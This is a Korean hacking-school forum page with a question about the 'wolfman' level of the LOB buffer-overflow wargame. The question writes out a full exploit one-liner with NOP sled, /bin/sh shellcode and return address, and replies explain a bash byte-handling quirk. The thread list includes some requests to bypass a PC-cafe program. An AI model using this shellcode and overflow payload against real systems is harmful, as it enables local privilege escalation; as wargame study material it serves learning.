시스템 해킹

 1574, 9/79 회원가입  로그인  
   dog1234
   LOB wolfman 질문드려요

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_system&no=1782 [복사]


/wolfman `python -c 'print "\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*9+"\x9a\xfc\xff\xbf"'` 와 같이 넣으면

stack is still your friend 라고 나오면서 \xbf가 argv[1][47]부분에 안들어갔다고 나오구요

./wolfman `python -c 'print "\x90"*10+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x90"*9+"\x9a\xfc\xaa\xbf"'`  와 같이 넣으면

stack is still your friend 라는 멘트 안뜨고 정상적으로 오류가 떨어지네요

혹시 왜이러는지 아시는분 계신가요.... 이것때문에 안풀리는것같은데.. 훔 .. 아시는분 답변좀 부탁드립니다 ㅠ.ㅠ
  Hit : 3079     Date : 2015/03/03 09:44


    
hgs196 bash2를 사용하셧나요? bash에는 \xff가 \x00으로 들어간다고 들은적이 있어서요.. 저도 자세하게는 모르지만 그래서 문제를 풀때는 항상 bash2를 사용합니다~. 한번 시도는 해보세요 ㅎㅎ 2015/03/09  
skyclad1975 윗분의 말씀과 같습니다.
bash2가 아닌 bash를 사용할 경우 \xff가 \x00과 같이 인식됩니다.
즉, \x00 = NULL문자 로 인식되기 때문에 그 뒷부분인 \xbf가 들어가지 못해 Stack is still your friend 라는 멘트가 뜨는 겁니다.
bash2 로 해보세요.		 2015/03/11  
1414   해커사기.....     Karimanw
 07/17 2858
1413   공유 라이브러리 함수 주소[1]     sekun12
 06/20 3097
1412   해킹과외[2]     killerkor
 05/29 3678
1411   metasploit 질문     kkhan97
 05/27 2536
1410   이거 해석좀 해주세요[2]     killerkor
 05/25 2913
1409   바둑이 올뷰어 제작자 모십니다     killerkor
 05/25 3605
1408   해킹공부를 해볼려합니다[1]     markkim3078
 05/12 3034
1407   쉘코드에 대해 공부하던중 막히는게 있어 여쭤봅니다.[1]     hdHyun216
 03/08 3483
1406   ftz level12 질문있습니다.     dlsgh5842
 09/13 3936
1405   LOB lv.12 질문이요!     wow9o9
 08/09 3301
1404   ftz 서버가 접속이 안됩니다..[1]     pkdo1030
 07/14 3554
1403   대학교란 시스템해킹 21강부터 26강 못들어가게해놨네요[6]     tjddnr0306
 05/24 3717
1402   objdump 한건데 main 함수 시작이랑 끝주소를 어떻게 찾나요?     sianux1209
 05/23 3884
1401   LOB FC10 3번문제 이거 풀 방법 있나요?     guswns0528
 05/12 3559
1400   exploit 공격성공후 run vnc [1]     gusdlrsla
 05/04 3911
1399   쉘코드만들면서 세그먼트폴트 질문입니다.. ㅠㅠ![1]     duaudths
 05/02 3526
1398   피시방 Gclean 프로그램 뜷는 방법좀 알려 주세요 [2]     wqw3
 04/16 4786
1397   level10 비밀 대화내용 삭제된건가요?     kangtokki
 04/13 2855
  LOB wolfman 질문드려요[2]     dog1234
 03/03 3078
1395   execle 함수에 대해 여쭤봅니다!     h@cking2013
 02/28 2870
[1][2][3][4][5][6][7][8] 9 [10]..[79]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org